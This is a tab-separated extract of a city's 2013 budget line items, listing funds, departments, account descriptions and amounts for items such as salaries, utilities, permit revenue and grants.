3806	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE COMPLIANCE	522900.0	MEMBERSHIPS AND DUES	816.0	 Supplies and Expenses	2013	825.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	825.0
3807	B1	IS	20	Miscellaneous Grants Fund	310	FIRE	312	FIRE - ADMINISTRATION	406803.0	SHSG-NARROW BANDING GRANT	610.0	Intergovernmental	2013	-25575.0	0	0.0	-158.0	0	0	0.0	0	0.0	0	0	0.0	-25733.0
3808	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	405620.0	PRIVATE COACHING FEE	612.0	Charges for Service	2013	-1400.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-1400.0
3809	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561420.0	OPCC SAFE HAVEN		 Supplies and Expenses	2013	120794.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	120794.0
3810	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	544170.0	UNIFORM / PROTECTIVE CLOTHING	804.0	 Supplies and Expenses	2013	1000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1000.0
3811	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	544040.0	BOOKS / PAMPHLETS	806.0	 Supplies and Expenses	2013	612.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	612.0
3812	B1	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	511743.0	MEDICAL - MISC. EMPL		Salaries and Wages	2013	21884.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	21884.0
3813	B1	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	522310.0	OFFICE SUPPLIES / EXPENSE		 Supplies and Expenses	2013	6000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6000.0
3814	B1	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	522720.0	MILEAGE	820.0	 Supplies and Expenses	2013	100.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	100.0
3815	B1	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	555200.0	REIMBURSE ENGINEERING OFFICE	866.0	 Supplies and Expenses	2013	3691.0	0	0.0	0.0	0	0	0.0	60813	0.0	0	0	0.0	64504.0
3816	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	533040.0	SPECIAL INSURANCE		 Supplies and Expenses	2013	47826.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	47826.0
3817	B1	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	511749.0	VISION	804.0	Salaries and Wages	2013	671.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	671.0
3818	B1	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2013	-867.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-867.0
3819	B1	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2013	-14090.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-14090.0
3820	B1	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION		EAP	804.0	Salaries and Wages	2013	513.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	513.0
3821	B1	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2013	1703.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1703.0
3822	B1	IS	20	Miscellaneous Grants Fund	310	FIRE	312	FIRE - ADMINISTRATION	405720.0	CUPA ELECTRONIC REPORTING	610.0	Intergovernmental	2013	-2718.0	0	0.0	-27075.0	0	0	0.0	0	0.0	0	0	0.0	-29793.0
3823	B1	IS	77	Parking Authority Fund	130	FINANCE	236	PARKING AUTHORITY	404230.0	P/A BD FUND INT-DEP/INVEST	659.0	Investment Income	2013	-25000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-25000.0
3824	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV		EMPLOYEE HEALTH CONTRIB-POA	806.0	Salaries and Wages	2013	-7640.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-7640.0
3825	B1	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV		EMPLOYEE HEALTH CONTRIB-POA	806.0	Salaries and Wages	2013	-29232.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-29232.0
3826	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV		EMPLOYEE HEALTH CONTRIB-POA	806.0	Salaries and Wages	2013	-22423.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-22423.0
3827	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE COMPLIANCE	569340.0	EMERGENCY ACCOMODATIONS	816.0	 Supplies and Expenses	2013	10000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10000.0
3828	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2013	1025.0	0	0.0	0.0	0	0	0.0	79	0.0	0	0	0.0	1104.0
3829	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	248	COMMUNITY BROADBAND	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	804.0	 Supplies and Expenses	2013	25625.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	25625.0
3830	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		UTIL-LIGHT/POWER-CITY HALL	808.0	 Supplies and Expenses	2013	158550.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	158550.0
3831	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	544110.0	PRINTED FORMS	816.0	 Supplies and Expenses	2013	3000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3000.0
3832	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT	555010.0	CONTRACTUAL SERVICES	804.0	 Supplies and Expenses	2013	37700.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	37700.0
3833	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	522210.0	UTILITIES - TELEPHONE	808.0	 Supplies and Expenses	2013	8060.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	8060.0
3834	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	808.0	 Supplies and Expenses	2013	42830.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	42830.0
3835	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544140.0	STREET MATERIAL	808.0	 Supplies and Expenses	2013	285782.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	285782.0
3836	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522139.0	UTIL-WATER-COM FAC, SC, KEC	808.0	 Supplies and Expenses	2013	137700.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	137700.0
3837	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522210.0	UTILITIES - TELEPHONE	808.0	 Supplies and Expenses	2013	32000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	32000.0
3838	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522825.0	FOOD PURCHASES	808.0	 Supplies and Expenses	2013	3000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3000.0
3839	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	555951.0	FAC MAINT-KEC	808.0	 Supplies and Expenses	2013	10000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10000.0
3840	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	533221.0	BLDG/STR MAINT-COM FAC	808.0	 Supplies and Expenses	2013	90000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	90000.0
3841	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2013	15325.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	15325.0
3842	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511730.0	WORKERS' COMP INSURANCE	808.0	Salaries and Wages	2013	195531.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	195531.0
3843	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511748.0	DENTAL	808.0	Salaries and Wages	2013	4265.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4265.0
3844	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511749.0	VISION	808.0	Salaries and Wages	2013	541.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	541.0
3845	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2013	195564.0	0	0.0	-2177.0	0	0	0.0	1934	0.0	0	0	0.0	195321.0
3846	BA	IS	1	General Fund	310	FIRE	315	TRAINING		EAP	806.0	Salaries and Wages	2014	309.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	309.0
3847	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511774.0	RETIREMENT - AS NEEDED	808.0	Salaries and Wages	2013	1063.0	0	0.0	0.0	0	0	0.0	11	0.0	0	0	0.0	1074.0
3848	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511749.0	VISION	808.0	Salaries and Wages	2013	411.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	411.0
3849	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2013	-1678.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-1678.0
3850	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		DCAP	808.0	Salaries and Wages	2013	1116.0	0	0.0	-12.0	0	0	0.0	0	0.0	0	0	0.0	1104.0
3851	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		EAP	808.0	Salaries and Wages	2013	731.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	731.0
3852	B1	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		DISABILITY INSURANCE	808.0	Salaries and Wages	2013	3289.0	0	0.0	0.0	0	0	0.0	33	0.0	0	0	0.0	3322.0
3853	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		DISABILITY INSURANCE	808.0	Salaries and Wages	2013	2728.0	0	0.0	0.0	0	0	0.0	27	0.0	0	0	0.0	2755.0
3854	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2013	661933.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	661933.0
3855	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		DISABILITY INSURANCE	808.0	Salaries and Wages	2013	19410.0	0	0.0	0.0	0	0	0.0	194	0.0	0	0	0.0	19604.0
3856	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2013	2566488.0	0	0.0	0.0	0	0	0.0	98009	0.0	0	0	0.0	2664497.0
3857	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409071.0	ROSIE'S GIRLS-SPRING	612.0	Charges for Service	2013	-6932.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-6932.0
3858	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	402240.0	AIRPORT - EVENTS	650.0	Charges for Service	2013	-73500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-73500.0
3859	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	400580.0	FILMING PERMITS	608.0	Licenses and Permits	2013	-143465.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-143465.0
3860	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	400610.0	USE OF PUBLIC PROPERTY PERMITS	612.0	Charges for Service	2013	-468795.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-468795.0
3861	B1	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	555010.0	CONTRACTUAL SERVICES		 Supplies and Expenses	2013	47915.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	47915.0
3862	B1	IS	25	Water Fund	500	PUBLIC WORKS	672	CHARNOCK TREATMENT PLANT	555060.0	PROFESSIONAL SERVICES	808.0	 Supplies and Expenses	2013	766000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	766000.0
3863	B1	IS	25	Water Fund	500	PUBLIC WORKS	673	ARCADIA TREATMENT PLANT	544013.0	CARTRIDGE FILTER REPLACEMENT	808.0	 Supplies and Expenses	2013	52430.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	52430.0
3864	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	544199.0	OTHER MATERIALS AND SUPPLIES		 Supplies and Expenses	2013	30000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	30000.0
3865	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	560070.0	INDUSTRIAL SAFETY SHOES		 Supplies and Expenses	2013	3900.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3900.0
3866	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	404150.0	LIBRARY COMPUTER SESSIONS FEE	612.0	Charges for Service	2013	-60000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-60000.0
3867	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	588040.0	COMMUNICATIONS SYSTEMS	808.0	 Supplies and Expenses	2013	1700.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1700.0
3868	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562701.0	OLDER YOUTH SET-ASIDE		 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
3869	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	401950.0	BLANKET UTILITY PERMITS	612.0	Charges for Service	2013	-46401.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-46401.0
3870	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	402162.0	FILMING RECEIPTS	612.0	Charges for Service	2013	-6000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-6000.0
3871	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	404710.0	415 PCH - DAY USE	612.0	Charges for Service	2013	-10000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-10000.0
3872	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	404750.0	415 PCH - RENTALS	618.0	Rentals	2013	-650000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-650000.0
3873	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2013	95140.0	0	0.0	0.0	0	0	0.0	951	0.0	0	0	0.0	96091.0
3874	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	522130.0	UTILITIES - WATER	810.0	 Supplies and Expenses	2013	46002.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	46002.0
3875	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	522720.0	MILEAGE	810.0	 Supplies and Expenses	2013	300.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	300.0
3876	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	522820.0	CONFERENCES/MEETINGS/TRAVEL	810.0	 Supplies and Expenses	2013	3000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3000.0
3877	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE		EAP	804.0	Salaries and Wages	2013	783.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	783.0
3878	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE		DCAP	804.0	Salaries and Wages	2013	540.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	540.0
3879	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	544010.0	SPECIAL DEPARTMENT SUPPLIES	810.0	 Supplies and Expenses	2013	8000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	8000.0
3880	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	555210.0	TRAINING	810.0	 Supplies and Expenses	2013	1000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1000.0
3881	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2013	65405.0	0	0.0	0.0	0	0	0.0	-10668	0.0	0	0	0.0	54737.0
3882	B1	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	544160.0	RIDESHARE PROGRAM	816.0	 Supplies and Expenses	2013	96000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	96000.0
3883	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE COMPLIANCE	408490.0	RESIDENTIAL REPORT MONITORING	612.0	Charges for Service	2013	-11000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-11000.0
3884	B1	IS	20	Miscellaneous Grants Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	408550.0	NO NET NEW TRIPS TOOLKIT	610.0	Intergovernmental	2013	-388860.0	0	0.0	0.0	0	0	0.0	0	-154220.0	0	0	0.0	-543080.0
3885	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2013	5375.0	0	0.0	2741.0	0	0	0.0	81	0.0	0	0	0.0	8197.0
3886	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	555010.0	CONTRACTUAL SERVICES	810.0	 Supplies and Expenses	2013	58016.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	58016.0
3887	B1	IS	20	Miscellaneous Grants Fund	210	PLANNING & COMM. DEVELOPMENT	267	ALL OTHER TRANSACTIONS	403110.0	TDA ARTICLE III	610.0	Intergovernmental	2013	-48000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-48000.0
3888	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE		UNEMPLOYMENT	808.0	Salaries and Wages	2013	3273.0	0	0.0	0.0	0	0	0.0	33	0.0	0	0	0.0	3306.0
3889	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE		EAP	808.0	Salaries and Wages	2013	1044.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1044.0
3890	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	522120.0	UTILITIES - NATURAL GAS	808.0	 Supplies and Expenses	2013	255.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	255.0
3891	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	522160.0	TRANSFER STATION FEE	808.0	 Supplies and Expenses	2013	32000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	32000.0
3892	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	555030.0	EMPLOYEE MEDICAL EXAMS	808.0	 Supplies and Expenses	2013	2000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2000.0
3893	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		EAP	808.0	Salaries and Wages	2013	726.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	726.0
3894	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2013	39585.0	0	0.0	0.0	0	0	0.0	396	0.0	0	0	0.0	39981.0
3895	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		EAP	808.0	Salaries and Wages	2013	4463.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4463.0
3896	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522130.0	UTILITIES - WATER	808.0	 Supplies and Expenses	2013	173643.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	173643.0
3897	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511730.0	WORKERS' COMP INSURANCE	808.0	Salaries and Wages	2013	45040.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	45040.0
3898	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2013	-2315.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-2315.0
3899	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2013	600.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	600.0
3900	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2013	1114488.0	0	0.0	0.0	0	0	0.0	11145	0.0	0	0	0.0	1125633.0
3901	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2013	33024.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	33024.0
3902	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511749.0	VISION	808.0	Salaries and Wages	2013	2601.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2601.0
3903	B1	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	408580.0	ALARM REGISTRATION FEE	612.0	Charges for Service	2013	-151200.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-151200.0
3904	B1	IS	4	Special Revenue Source Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	570320.0	TRANS TO 01-GLOW, PLGRND PRTNR	910.0	 Supplies and Expenses	2013	75000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	75000.0
3905	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	570320.0	TRANS FROM 04-GLOW, PLGRND PRT	908.0	 Supplies and Expenses	2013	-75000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-75000.0
3906	B1	IS	20	Miscellaneous Grants Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577701.0	PROP A REIMBURSEMENT WISE	910.0	 Supplies and Expenses	2013	596000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	596000.0
3907	B1	IS	25	Water Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	577500.0	TRANSFER - GF CODE COMPLIANCE		 Supplies and Expenses	2013	44350.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	44350.0
3908	B1	IS	20	Miscellaneous Grants Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	407170.0	LA COUNTY PROP A O&M REIMB	610.0	Intergovernmental	2013	0.0	0	0.0	-40000.0	0	0	0.0	0	0.0	0	0	0.0	-40000.0
3909	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400140.0	UTILITIES USERS TAX	606.0	Other Local Taxes	2013	-31363000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-31363000.0
3910	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400350.0	STATUATORY PASS-THROUGHS	602.0	Property Taxes	2013	-5792720.0	0	0.0	0.0	0	0	0.0	3993083	0.0	0	0	0.0	-1799637.0
3911	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	404660.0	LIBRARY BOND TAX OVERRIDE	602.0	Property Taxes	2013	-1534980.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-1534980.0
3912	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	405590.0	CABLE FRANCHISE FEES	608.0	Licenses and Permits	2013	-1043000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-1043000.0
3913	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	404650.0	INTEREST-CIVIC PKG STR BONDS	616.0	Investment Income	2013	-200.0	0	0.0	0.0	0	0	0.0	200	0.0	0	0	0.0	0.0
3914	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	544170.0	UNIFORM / PROTECTIVE CLOTHING	810.0	 Supplies and Expenses	2013	500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	500.0
3915	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	579005.0	DISCRET-RESIDENT SURVEY	804.0	 Supplies and Expenses	2013	30000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	30000.0
3916	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	410160.0	BLOCK PARTIES	612.0	Charges for Service	2013	-570.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-570.0
3917	B1	IS	4	Special Revenue Source Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	404900.0	TMP FEES	612.0	Charges for Service	2013	-446167.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-446167.0
3918	B1	IS	20	Miscellaneous Grants Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	576513.0	OTS STEP GRANT 2013	806.0	 Supplies and Expenses	2013	0.0	0	3000.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3000.0
3919	B1	IS	20	Miscellaneous Grants Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	406855.0	OTS STEP GRANT 2013	610.0	Intergovernmental	2013	0.0	0	-140000.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-140000.0
3920	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	555130.0	TOXIC CHEMICAL	804.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	276000	0.0	0	0	0.0	276000.0
3921	B1	IS	20	Miscellaneous Grants Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT		REAL BEACH PKG FED STP-L	610.0	Intergovernmental	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	-498005	57121	0.0	-440884.0
3922	B1	IS	4	Special Revenue Source Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	544390.0	OTHER COSTS	816.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	20000	0.0	0	0	0.0	20000.0
3923	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	400308.0	VALET PERMITS	608.0	Licenses and Permits	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	-341700	0	0.0	-341700.0
